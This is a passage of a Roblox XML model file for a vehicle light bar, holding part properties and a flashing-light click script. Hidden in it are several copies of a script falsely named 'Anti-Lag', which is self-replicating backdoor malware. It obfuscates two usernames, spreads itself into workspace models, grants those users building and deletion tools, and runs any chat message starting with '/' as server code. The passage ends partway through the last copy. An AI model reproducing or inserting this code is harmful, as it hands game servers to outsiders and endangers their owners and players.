	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
end 
end 
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked) </ProtectedString>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Model" referent="RBX1830">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX1831">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX1832">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX1833">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1607</X>
											<Y>11.5999994</Y>
											<Z>27</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>-1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000190274106</X>
											<Y>5.95627644e-005</Y>
											<Z>0.000207247096</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1834">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX1835">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1836">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1607</X>
											<Y>12.3999987</Y>
											<Z>27</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000186359175</X>
											<Y>5.95627607e-005</Y>
											<Z>0.000205362885</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>6</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1837">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX1838">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX1839">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.979</X>
											<Y>11.5892696</Y>
											<Z>29.5161152</Z>
											<R00>-0.999987245</R00>
											<R01>-9.24542546e-005</R01>
											<R02>-0.00505417679</R02>
											<R10>-9.19438899e-005</R10>
											<R11>1</R11>
											<R12>-0.000101076672</R12>
											<R20>0.00505416747</R20>
											<R21>-0.000100609846</R21>
											<R22>-0.999987304</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000189972983</X>
											<Y>6.55916374e-005</Y>
											<Z>0.000207275312</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1840">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX1841">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.97412</X>
											<Y>11.5890722</Y>
											<Z>24.4925537</Z>
											<R00>0.999984741</R00>
											<R01>-8.67620111e-005</R01>
											<R02>-0.00552455289</R02>
											<R10>8.66912305e-005</R10>
											<R11>1</R11>
											<R12>-1.31297857e-005</R12>
											<R20>0.00552457245</R20>
											<R21>1.26514351e-005</R21>
											<R22>0.999984801</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000190680003</X>
											<Y>5.37836931e-005</Y>
											<Z>0.000207276476</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1842">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX1843">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Anti-Lag</string>
											<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1844">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1607</X>
											<Y>11.5999994</Y>
											<Z>28.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000190063292</X>
											<Y>6.30956638e-005</Y>
											<Z>0.000207247096</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1845">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX1846">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1847">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1607</X>
											<Y>11.5999994</Y>
											<Z>25.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000190484934</X>
											<Y>5.60298577e-005</Y>
											<Z>0.000207247096</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1848">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX1849">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294964224</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Script" referent="RBX1850">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1851">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
